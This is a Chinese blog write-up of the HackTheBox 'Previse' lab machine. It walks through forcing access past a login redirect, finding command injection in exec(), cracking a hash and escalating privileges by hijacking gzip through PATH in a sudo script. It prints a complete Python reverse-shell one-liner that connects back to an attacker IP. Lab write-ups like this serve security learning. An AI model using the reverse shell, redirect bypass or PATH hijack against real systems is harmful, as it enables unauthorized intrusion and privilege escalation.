HackTheBox - Previse

本文最后更新于:2022年6月6日 晚上

0x01 信息收集

端口信息:

image-20210905164457889

目录扫描:

image-20210905165344774

0x02 打靶

在之前的收集信息中,可以发现有很多存在的页面,但是由于重定向跳回了login.php进行登录验证。

我们使用burp可以渲染页面,可以看到很多页面是有有用的信息的。

账户注册界面:

image-20210905164807598

服务器状态浏览界面:

image-20210905164838718

在文件浏览界面可以发现网站的源码:

image-20210905164949228

也可以发现下载的链接,但是访问会跳回login.php进行登录验证,无奈只能先注册账户。

image-20210905165643447

访问一开始的accounts.php,同时让burp拦截响应,将响应包状态码修改成200 OK

image-20210905170023220

之后便可以添加账号:

image-20210905170035868

之后以该账号登录,访问files.php,就可以将源码下下来了:

image-20210905211300285

0x03 代码审计

config.php中可以看到数据库连接的凭据:

image-20210905170618570

conifg.php中可以发现exec函数直接拼接了参数,可以造成命令执行:

image-20210905172453295

0x04 继续打靶

使用简单的命令拼接即可,这里弹个shell:

1
python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.86.131",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

image-20210905180543533

这里有个坑点,hash中有特殊字符,必须使用在linux环境下才能正确拿到。windows下拿到的是不完整的,拿去解hash会报错

image-20210905212541788

在linux环境下能够正常显示(为Emoji

image-20210905194148408

拿去给hashcat爆破,爆破出密码:

image-20210905193619471

登录成功:

image-20210905194408362

0x05 提权

使用命令

1
sudo -l

可以看到有备份脚本:

image-20210905213714674

查看该脚本,可以使用了gzip命令,我们可以使用自己的gzip命令来替换,从而达到提权的效果:

image-20210905213830572

于是新建文件:

1
vim gzip

这里有位老哥和我一样的想法2333,于是借用了一下他的代码,我的是下面那一行:

image-20210905200530507

之后添加环境变量,使得执行脚本时会先找到我们的gzip

1
export PATH=$( pwd ):$PATH

之后执行命令即可:

1
sudo /opt/scripts/access_backup.sh

image-20210905195611062

0x06 Summary

这是一个Easy难度的Linux靶机,主要考察内容如下:

  • 不合理的302跳转利用
  • 代码审计
  • hashcat爆破密码
  • PATH变量劫持

HackTheBox - Previse
https://m0ck1ng-b1rd.github.io/2021/12/07/HTB/Previse/
作者
何语灵
发布于
2021年12月7日
许可协议